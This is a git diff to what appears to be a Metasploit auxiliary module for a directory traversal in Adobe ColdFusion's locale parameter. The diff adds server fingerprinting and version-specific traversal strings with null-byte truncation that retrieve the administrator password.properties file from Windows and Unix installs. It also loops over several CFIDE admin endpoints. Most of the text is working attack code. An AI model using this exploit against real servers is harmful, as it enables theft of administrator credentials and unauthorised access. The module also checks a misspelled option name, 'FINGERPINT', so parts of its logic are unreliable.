@@ -29,8 +29,12 @@ def initialize
29
29
to have directory traversal protections in place, subsequently this module does NOT
30
30
work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or
31
31
ColdFusion 7.
32
+
33
+ It is not recommended to set FILE when doing scans across a group of servers where the OS
34
+ may vary; otherwise, the file requested may not make sense for the OS
35
+
32
36
} ,
33
- 'Author' => [ 'CG' ] ,
37
+ 'Author' => [ 'CG' , 'nebulus' ] ,
34
38
'License' => MSF_LICENSE ,
35
39
'References' =>
36
40
[
@@ -45,40 +49,153 @@ def initialize
45
49
46
50
register_options (
47
51
[
48
- OptString . new ( 'URL ' , [ true , "URI Path" , '/CFIDE/administrator/enter.cfm '] ) ,
49
- OptString . new ( 'PATH ' , [ true , "traversal and file" , '../../../../../../../../../../ColdFusion8/lib/password.properties%00en' ] ) ,
52
+ OptString . new ( 'FILE ' , [ false , 'File to retrieve (make sure path/file match OS (ie, /etc/passwd on Windows == dumb))' , ' '] ) ,
53
+ OptBool . new ( 'FINGERPRINT ' , [ true , 'Only fingerprint endpoints' , false ] ) ,
50
54
] , self . class )
51
55
end
52
56
57
+ def fingerprint ( response )
58
+
59
+ if ( response . headers . has_key? ( 'Server' ) )
60
+ if ( response . headers [ 'Server' ] =~ /IIS/ or response . headers [ 'Server' ] =~ /\( Windows/ )
61
+ os = "Windows (#{ response . headers [ 'Server' ] } )"
62
+ elsif ( response . headers [ 'Server' ] =~ /Apache\/ / )
63
+ os = "Unix (#{ response . headers [ 'Server' ] } )"
64
+ else
65
+ os = response . headers [ 'Server' ]
66
+ end
67
+ end
68
+
69
+ return nil if response . body . length < 100
70
+
71
+ title = "Not Found"
72
+ response . body . gsub! ( /[\r \n ]/ , '' )
73
+ if ( response . body =~ /<title.*\/ ?>(.+)<\/ title\/ ?>/i )
74
+ title = $1
75
+ title . gsub! ( /\s / , '' )
76
+ end
77
+ return nil if ( title == 'Not Found' or not title =~ /ColdFusionAdministrator/ )
78
+
79
+ out = nil
80
+
81
+ if ( response . body =~ />\s *Version:\s *(.*)<\/ strong\> <br\s \/ / )
82
+ v = $1
83
+ out = ( v =~ /^6/ ) ? "Adobe ColdFusion MX6 #{ v } " : "Adobe ColdFusion MX7 #{ v } "
84
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright 1995-2012 Adobe/ and response . body =~ /Administrator requires a browser that supports frames/ )
85
+ out = "Adobe ColdFusion MX7"
86
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995-2006 Adobe/ )
87
+ out = "Adobe ColdFusion 8"
88
+ elsif ( response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995-2010 Adobe/ or
89
+ response . body =~ /<meta name=\" Author\" content=\" Copyright \( c\) 1995\- 2009 Adobe Systems\, Inc\. All rights reserved/ )
90
+ out = "Adobe ColdFusion 9"
91
+ elsif ( response . body =~ /<meta name=\" Keywords\" content=\" (.*)\" >\s +<meta name/ )
92
+ out = $1. split ( /,/ ) [ 0 ]
93
+ else
94
+ out = 'Unknown ColdFusion'
95
+ end
96
+
97
+ if ( title . downcase == 'coldfusionadministrator' )
98
+ out << " (administrator access)"
99
+ end
100
+
101
+ out << " (#{ os } )"
102
+ return out
103
+ end
104
+
53
105
def run_host ( ip )
106
+ trav = datastore [ 'FILE' ]
54
107
55
- url = normalize_uri ( datastore [ 'URL' ] )
56
- locale = "?locale="
57
- trav = datastore [ 'PATH' ]
108
+ if ( trav == '' or datastore [ 'FINGERPINT' ] )
109
+ # the user did not specify what they wanted, fingerprint, go after password.properties
110
+
111
+ url = '/CFIDE/administrator/index.cfm'
58
112
59
- res = send_request_raw ( {
60
- 'uri' => url +locale +trav ,
61
- 'method' => 'GET' ,
62
- 'headers' =>
63
- {
113
+ res = send_request_cgi ( {
114
+ 'uri' => url ,
115
+ 'method' => 'GET' ,
64
116
'Connection' => "keep-alive" ,
65
117
'Accept-Encoding' => "zip,deflate" ,
66
- } ,
67
- } , -1 )
68
-
69
- if ( res . nil? )
70
- print_error ( "no response for #{ ip } :#{ rport } #{ url } " )
71
- elsif ( res . code == 200 )
72
- #print_error("#{res.body}")#debug
73
- print_status ( "URL: #{ ip } #{ url } " )
74
- if match = res . body . match ( /\< title\> (.*)\< \/ title\> /im ) ;
75
- fileout = $1
76
- print_status ( "FILE OUTPUT:\n " + fileout + "\r \n " )
118
+ } , 10 )
119
+ return if not res or not res . body or not res . code
120
+
121
+ if ( res . code . to_i == 200 )
122
+ out = fingerprint ( res )
123
+ print_status ( "#{ ip } #{ out } " ) if out
124
+ return if ( datastore [ 'FINGERPRINT' ] )
125
+
126
+ if ( out =~ /Windows/ and out =~ /MX6/ )
127
+ trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en'
128
+ elsif ( out =~ /Windows/ and out =~ /MX7/ )
129
+ trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en'
130
+ elsif ( out =~ /Windows/ and out =~ /ColdFusion 8/ )
131
+ trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en'
132
+ elsif ( out =~ /ColdFusion 9/ )
133
+ print_status ( "#{ ip } ColdFusion 9 is not vulnerable, skipping" )
134
+ return
135
+ elsif ( out =~ /Unix/ and out =~ /MX6/ )
136
+ trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en'
137
+ elsif ( out =~ /Unix/ and out =~ /MX7/ )
138
+ trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en'
139
+ elsif ( out =~ /Unix/ and out =~ /ColdFusion 8/ )
140
+ trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en'
141
+ else
142
+ if ( res . body =~ /Adobe/ and res . body =~ /ColdFusion/ )
143
+ print_error ( "#{ ip } Fingerprint failed, FILE not set...aborting" )
144
+ else
145
+ return # probably just a web server
146
+ end
147
+ end
148
+ else
149
+ return # silent fail as it doesnt necessarily at this point have to be a CF server
150
+ end
151
+ end
152
+
153
+ # file specified or obtained via fingerprint
154
+ if ( trav !~ /\. \. \/ \. \. \/ / and trav !~ /\. \. \\ \. \. \\ / )
155
+ # file probably specified by user, make sure to add in actual traversal
156
+ trav = '../../../../../../../../../../' << trav << '%00en'
157
+ end
158
+
159
+ locale = "?locale="
160
+
161
+ urls = [ "/CFIDE/administrator/enter.cfm" , "/CFIDE/wizards/common/_logintowizard.cfm" , "/CFIDE/administrator/archives/index.cfm" ,
162
+ "/CFIDE/administrator/entman/index.cfm" , "/CFIDE/administrator/logging/settings.cfm" ]
163
+ # "/CFIDE/install.cfm", haven't seen where this one works
164
+
165
+ out = '' # to keep output in synch with threads
166
+ urls . each do |url |
167
+ res = send_request_raw ( {
168
+ 'uri' => url +locale +trav ,
169
+ 'method' => 'GET' ,
170
+ 'headers' =>
171
+ {
172
+ 'Connection' => "keep-alive" ,
173
+ 'Accept-Encoding' => "zip,deflate" ,
174
+ } ,
175
+ } , -1 )
176
+
177
+
178
+ if ( res . nil? )
179
+ print_error ( "no response for #{ ip } :#{ rport } #{ url } " )
180
+ elsif ( res . code == 200 )
181
+ #print_error("#{res.body}")#debug
182
+ out << "URL: #{ ip } #{ url } #{ locale } #{ trav } \n "
183
+ if match = res . body . match ( /\< title\> (.*)\< \/ title\> /im )
184
+ fileout = $1
185
+ if ( fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/ )
186
+ out << "#{ ip } FILE:\n #{ fileout } \r \n "
187
+ break
188
+ end
189
+ end
77
190
else
78
- ''
191
+ next if ( res . code == 500 or res . code == 404 or res . code == 302 )
192
+ print_error ( "#{ ip } #{ res . inspect } " )
79
193
end
194
+ end
195
+ if ( out =~ /FILE/ )
196
+ print_good ( out )
80
197
else
81
- ''
198
+ print_status ( out )
82
199
end
83
200
84
201
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::ArgumentError
0 commit comments